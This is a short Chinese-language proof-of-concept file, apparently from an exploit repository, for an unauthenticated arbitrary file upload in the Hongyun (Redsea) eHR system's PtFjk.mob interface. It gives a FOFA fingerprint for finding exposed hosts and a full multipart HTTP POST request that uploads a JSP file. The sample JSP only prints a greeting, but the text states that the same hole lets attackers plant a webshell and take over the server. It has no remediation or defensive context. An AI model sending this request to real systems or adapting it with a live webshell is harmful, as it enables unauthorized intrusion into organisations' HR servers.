POC00/红海云eHR-PtFjk.mob存在任意文件上传漏洞.md

26 lines
783 B
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 红海云eHR-PtFjk.mob存在任意文件上传漏洞
红海云EHR系统PtFjk.mob接口处存在未授权文件上传漏洞攻击者可上传webshell来命令执行获取服务器权限。
## fofa
```
body="/RedseaPlatform/skins/images/favicon.ico"
```
## poc
```
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host:
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
```